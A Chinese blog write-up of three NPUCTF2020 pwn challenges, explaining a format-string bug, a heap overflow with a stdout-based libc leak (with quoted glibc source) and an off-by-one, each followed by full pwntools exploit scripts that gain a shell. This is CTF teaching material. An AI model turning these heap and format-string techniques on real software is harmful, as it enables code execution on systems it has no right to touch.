HackPluto's Blog

NPUCTF2020 pwn WriteUp

字数统计: 3.1k阅读时长: 16 min
2020/04/27 Share

内核题是之前从来没有遇到过的。。。一直卡着,最后只出了3个pwn,现在趁着网上的WP好好学学这两个内核题

format_level2

1
2
3
4
5
6
7
$ checksec npuctf_2020_level2 
[*] '/home/pluto/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/npuctf_2020_level2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

64位ELF文件,除了canary别的保护全开
IHV7Oc
程序的逻辑比较简单,就是像buf读入0x64字节,漏洞点就是格式化字符串,这个题的难点是格式化字符串不在栈上以及开启了PIE,所以只能通过栈上的内容间接的修改地址,

EXP

在printf函数的位置下断点,查看栈上的内容
RqMMOa

1
0x7fffffffde08 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov    edi, eax

1
0x7fffffffde18 —▸ 0x7fffffffdee8 —▸ 0x7fffffffe28d ◂— 0x6c702f656d6f682f ('/home/pl')

我们可以通过0x7fffffffde08处的内容leak出libc的地址,通过0x7fffffffde18 leak出栈的地址,因为这个题是没有劫持GOT表的,所以我的想法就是通过修改main函数的返回地址,将返回地址修改成one_gadget,从而get shell。

因为格式化字符串不在栈上,所以我们如果想修改栈上的内容,只能通过栈上的指针进行间接修改,意思就是:
比如看0x7fffffffde18处的内容,0x7fffffffde18上存储着0x7fffffffdee8,这个地址恰好是一个指针,指向了0x7fffffffe28d,所以如果我们通过格式化字符串%n去修改0x7fffffffde18的偏移,实质就是修改了0x7fffffffdee8里存储的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

#context.log_level = "debug"
#context.arch = "amd64"

p = process('./fmt')
#p = remote("node3.buuoj.cn",27103)

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

#leak libc addr
pay = "66666%7$p"
p.sendline(pay)
p.recvuntil("66666")
base = int(p.recv(14),16) - 231 - libc.sym['__libc_start_main']
one_gadge = base + 0x45216
success("one gadge:"+hex(one_gadge))
sleep(0.1)

#leak stack addr
pay = "66666%9$p"
p.sendline(pay)
p.recvuntil("66666")
rbp = int(p.recv(14),16) - 0xe8
success("stack addr:"+hex(rbp))

def fmt_change(a1,a2):
pay = "%" + str((a1+8)&0xffff) + "d" + "%9$hn"
p.sendline(pay)
p.recvrepeat(1)
pay = "%" + str(a2&0xffff) + "d" + "%35$hn"
p.sendline(pay)
p.recvrepeat(1)
pay = "%" + str((a1+8+2)&0xffff) + "d" + "%9$hn"
p.sendline(pay)
p.recvrepeat(1)
pay = "%" + str((a2)>>16&0xff) + "d" + "%35$hhn"
p.sendline(pay)
p.recvrepeat(1)

fmt_change(rbp,one_gadge)
sleep(0.5)
p.send("66666666\x00")
p.interactive()

bad_guy

1
2
3
4
5
6
7
➜  pwn checksec npuctf_2020_bad_guy 
[*] '/home/lhh/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/npuctf_2020_bad_guy'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开
edit函数处有任意长度的堆溢出,但是只能溢出4次
ErMMOr

难点是没有show函数,所以需要爆破stdout

构造overlapping

通过任意长度堆溢出很容易构造堆块的重叠

1
2
3
4
5
6
add(0, 0x18, 0x18*'a')
add(1, 0x18, 0x18*'a')
add(2, 0x68, 0x68*'a')
add(3, 0x68, 0x68*'a')
payload = 0x18*'b'+p64(0x91)
edit(0, len(payload), payload)

现在1,2块已经重叠在了一起,接着释放1,2
yYcSIN
一个加入了fastbin一个加入了unsorted bin

利用IO_FILE leak libc地址

源码分析

利用io_file的结构去leak的思路是来自HITCON2018中angboy出的一个baby_tcache,其中要leak出libc地址,采用了覆盖stdout结构体中_IO_write_base,然后利用puts函数的工作机制达到了leak的目的。
通过分析一下源码来看看为什么修改 stdout 结构体会有信息泄漏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

这里会调用 _IO_sputn 这个函数 _IO_sputn实际上就是一个宏,调用了stdout的虚表中的_IO_xsputn_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

之后调用到了_IO_OVERFLOW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

这里如果 _IO_CURRENTLY_PUTTING为1的话,程序就会执行下面的 if 分支。当IO_write_ptr与_IO_buf_end不相等的时候就会打印者之间的字符。我们再接着看一下函数_io_do_write,这个函数实际调用的时候会用到new_do_write函数

1
2
3
4
5
 _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);

data = f->_IO_write_base
size = f->_IO_write_ptr - f->_IO_write_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //do syscall
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

如果满足 fp->_flags & _IO_IS_APPENDING == 1 ,我们可以控制 data size 就会额外输出一些信息,这些信息会包含 libc 中的信息

修改前io_file结构
N65Aey
我们将fake chunk分配到这个位置,因为有0x7f的字节错位
4MJ7k7
然后就可以将chunk分配到stdout附近,接下来就是填充数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *

context.log_level = "debug"
#p = process('./pwn')
#p = remote("node3.buuoj.cn",27103)
elf = ELF("./npuctf_2020_bad_guy")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def add(idx, size, content):
p.recvuntil('>>')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.send(content)

def edit(idx, size, content):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.send(content)

def free(idx):
p.recvuntil('>>')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(idx))

while True:
try:
p = process('./npuctf_2020_bad_guy')
#p = remote("node3.buuoj.cn:",25848)
add(0, 0x18, 0x18*'a')
add(1, 0x18, 0x18*'a')
add(2, 0x68, 0x68*'a')
add(3, 0x68, 0x68*'a')
payload = 0x18*'b'+p64(0x91)
edit(0, len(payload), payload)
free(1)
free(2)
add(4, 0x18, 0x18*'c')
payload = (0x18)*'b'+p64(0x21)+(0x18)*'b'+p64(0x71)+p16(0x65dd)
edit(0, len(payload), payload)
payload = 'a'*3+p64(0)*6
payload += p64(0xfbad1887)
payload += p64(0) * 3
payload += '\x40'
add(5, 0x68, 0x68*'a')
add(6, 0x68, payload)
addr_stdout_ = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_stdout_ - 0x3c5640
free_hook = libcbase + libc.sym['__free_hook']
system_addr = libcbase + libc.sym['system']
log.success('system '+hex(system_addr))
payload = (0x18)*'b'+p64(0x21)+(0x18)*'b'+p64(0x71)+p64(0)+p64(free_hook-24-5)+p64(0x70)
edit(0, len(payload), payload)
add(7, 0x68, 0x68*'a')
free(7)
payload = '/bin/sh\x00'+(0x20-8-8)*'b'+p64(0x21)+(0x20-8)*'b'+p64(0x71)+p64(free_hook-0x10)
edit(0, len(payload), payload)
add(7, 0x70-8, (0x70-8)*'a')
add(7, 0x70-8, p64(system_addr))
free(0)
p.interactive()
except:
p.close()
continue
else:
p.interactive()
p.close()
break

使用House of Roman getshell

对于没有show函数的题目,可以使用house of roman来达到绕过ASLR的目的,但是这个方法要爆破12bit,所以我还是推荐第一个方法,但是这个方法也可以学习下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context.log_level = "debug"
#p = process('./pwn')
#p = remote("node3.buuoj.cn",27103)
elf = ELF("./npuctf_2020_bad_guy")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


def add(idx, size, content):
p.recvuntil('>>')
p.sendline('1')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.send(content)

def edit(idx, size, content):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(idx))
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil(':')
p.send(content)

def free(idx):
p.recvuntil('>>')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(idx))

while True:
try:
p = process('./npuctf_2020_bad_guy')
#p = remote("node3.buuoj.cn:",25848)
add(0, 0x18, 0x18*'a')
add(1, 0x80, 0x60*'b'+p64(0)+p64(0x21))
add(2, 0x15, 0x15*'c')
free(1)
add(1, 0x80, "\xed\xca")
add(3, 0x65, 0x65*'d')
add(4, 0x65, 0x65*'e')
add(5, 0x65, 0x65*'f')
free(3)
free(4)
payload = "a"*0x10+p64(0)+p64(0x71)
edit(0,len(payload),payload)
payload = "a"*0x10+p64(0)+p64(0x71)+"a"*0x68+p64(0x71)+"\x20"
edit(2,len(payload),payload)
add(0, 0x65, 0x65*'d')
add(0, 0x65, 0x65*'e')
add(0, 0x65, "\x7f")
data = p.recv(3)
if not("===" in data):
continue
add(6,0xc0,"qqqq")
add(7,0xc0,"wwww")
add(8,0xc0,"eeee")
free(7)
payload = "a"*0xc0+p64(0)+p64(0xd1)+"b"*8+"\x00\xcb"
edit(6,len(payload),payload)
add(1,0xc0,"a")
payload = "a"*0x13+"\xa4\x82\x93"
edit(0,len(payload),payload)
#gdb.attach(p)
#pause()
add(8,0x10,"aaaa")
p.interactive()
except:
p.close()

这个方法的思路就是,先将一个chunk放到unsorted bin里,然后通过堆溢出使用fastbin attack,将这个chunk加入fastbin链表,通过溢出将这个chunk的FD指针后两个字节改成malloc_hook - 0x23,这样就可以得到malloc_hook附近的chunk,再使用unsorted bin attack将malloc_hook改成main_area-88
,最后再通过溢出将maaloc_hook后三个字节改成one_gadget的地址,这样就可以get shell,但是需要爆破12bit,我在本地关了ASLR跑通了,远程跑了10分钟还是没有跑通,因为这个概率4000多分之一,确实概率太小了,就当个方法学习下吧。

easyheap

1
2
3
4
5
6
7
$ checksec npuctf_2020_easyheap 
[*] '/home/pluto/\xe6\xa1\x8c\xe9\x9d\xa2/pwn/npuctf_2020_easyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

保护只开了NX和canary

漏洞点

MNlewj
程序逻辑很简单,就是普通的一个菜单题
但是在创建堆块的时候有限制,只能创建大小为0x18 ,0x38两种堆块
漏洞点在edit函数,存在off-by-one的漏洞
Ymck4Q

利用思路

因为这个题是Ubuntu18的环境,所以存在tcache机制,题目限制了堆块的大小,所以首先想到的就是使用fastbin attack,题目中在BSS有堆块的list
jlnfOF
我的思路就是通过fastbin attack分配到BSS附近的堆块,从而操纵堆块指针,实现任意地址的读写,因为tcache链表对于chunk的大小并不检查,所以我们可以将伪造的chunk加入tcache,就不用绕过fastbin对于大小的检测了

1
2
3
add(0x18,"aaaa")#0
add(0x38,"aaaa")#1
edit(0,"a"*0x18+"\x41")

先分配两个大小不一样的chunk,然后通过堆溢出,修改第一个堆块的info堆块大小,造成堆重叠,然后释放1,就会出现下面的情况
Qwdxv5

这时我们再申请一个0x38的堆块,就会将0xb582a0分走,这时我们就可以操作0xb582c0的FD指针

1
2
3
4
5
add(0x38,"aaaa")#1 
fake = 0x60208d
edit(1,"d"*0x10+p64(0)+p64(0x41)+p64(fake))
add(0x38,"cccc")#2
add(0x38,"aaaa")#3

我们现在分配到了heaplist附近的堆块了,接下来就是流程化的任意地址写了

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *

#context.log_level = "debug"
#context.arch = "amd64"

#p = process("./easy_heap")
p = remote("ha1cyon-ctf.fun",30166)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("./easy_heap")

def add(size,mes):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(size))
p.recvuntil('Content:')
p.sendline(mes)

def edit(index,mes):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Content:')
p.send(mes)

def show(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))

def free(index):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('Index :')
p.sendline(str(index))

add(0x18,"aaaa")#0
add(0x38,"aaaa")#1

edit(0,"a"*0x18+"\x41")
free(1)
add(0x38,"aaaa")#1
fake = 0x60208d
edit(1,"d"*0x10+p64(0)+p64(0x41)+p64(fake))
add(0x38,"cccc")#2
add(0x38,"aaaa")#3

edit(3,p64(0x38)+p64(elf.got['free'])+"\x00"*3+p64(fake))
show(0)
free_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
base = free_addr - libc.sym['free']
log.success("libc base:"+hex(base))
system_addr = base + libc.symbols['system']
log.success("system addr:"+hex(system_addr))
binsh = base + libc.search('/bin/sh').next()
log.success("binsh addr:"+hex(binsh))

edit(0,p64(system_addr))
edit(3,p64(0x38)+p64(binsh))
free(0)
#gdb.attach(p)
#pause()
p.interactive()
CATALOG
  1. 1. format_level2
    1. 1.1. EXP
  2. 2. bad_guy
    1. 2.1. 构造overlapping
    2. 2.2. 利用IO_FILE leak libc地址
      1. 2.2.1. 源码分析
    3. 2.3. 使用House of Roman getshell
  3. 3. easyheap
    1. 3.1. 漏洞点
    2. 3.2. 利用思路
    3. 3.3. EXP: